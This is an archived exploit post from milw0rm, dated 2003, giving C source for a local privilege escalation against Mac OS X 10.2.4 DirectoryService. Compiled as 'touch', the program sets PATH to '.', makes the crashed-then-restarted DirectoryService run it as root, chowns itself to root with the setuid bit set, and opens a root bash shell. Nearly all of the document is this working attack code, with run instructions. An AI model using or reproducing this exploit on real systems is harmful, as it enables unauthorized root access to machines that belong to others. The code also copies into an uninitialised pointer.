Mac OS X <= 10.2.4 DirectoryService (PATH) Local Root Exploit

/* OS X &#60;= 10.2.4 DirectoryService local root PATH exploit DirectoryService must be crashed prior to execution, per @stake advisory. If you discover how to crash DirectoryService e-mail me at neeko@haackey.com [Neeko Oni] -- Assuming DirectoryService has been crashed/killed, compile this code as &#39;touch&#39; (gcc osxds.c -o touch) and execute. bash$ ./touch *bunch of stuff here* euid is root. bash# */ #include &#60;stdio.h&#62; #include &#60;stdlib.h&#62; #include &#60;unistd.h&#62; #include &#60;sys/types.h&#62; int main(int argc, char **argv) { char *ORIGPATH; int temp; if (argc &#60; 2) { if (geteuid() == 0) { printf(&#34;euid is root.\n&#34;); setuid(0); execl(&#34;/bin/bash&#34;, &#34;bash&#34;, NULL); } strcpy(ORIGPATH, getenv(&#34;PATH&#34;)); printf(&#34;Original path: %s\n&#34;, ORIGPATH); setenv(&#34;PATH&#34;, &#34;.&#34;, 1); printf(&#34;New path: %s\n&#34;, getenv(&#34;PATH&#34;)); printf(&#34;Executing DirectoryService with false PATH...\n&#34;); if (fork() == 0) { execl(&#34;/usr/sbin/DirectoryService&#34;, &#34;DirectoryService&#34;, NULL); } printf(&#34;Forked DirectoryService, pausing before shell exec...\n&#34;); sleep(3); printf(&#34;Cross your fingers.\n&#34;); setenv(&#34;PATH&#34;, ORIGPATH, 1); printf(&#34;Path restored: %s\n&#34;, getenv(&#34;PATH&#34;)); execl(&#34;./touch&#34;, &#34;touch&#34;, NULL); } system(&#34;/usr/sbin/chown root ./touch;/bin/chmod +s ./touch&#34;); } // milw0rm.com [2003-04-18]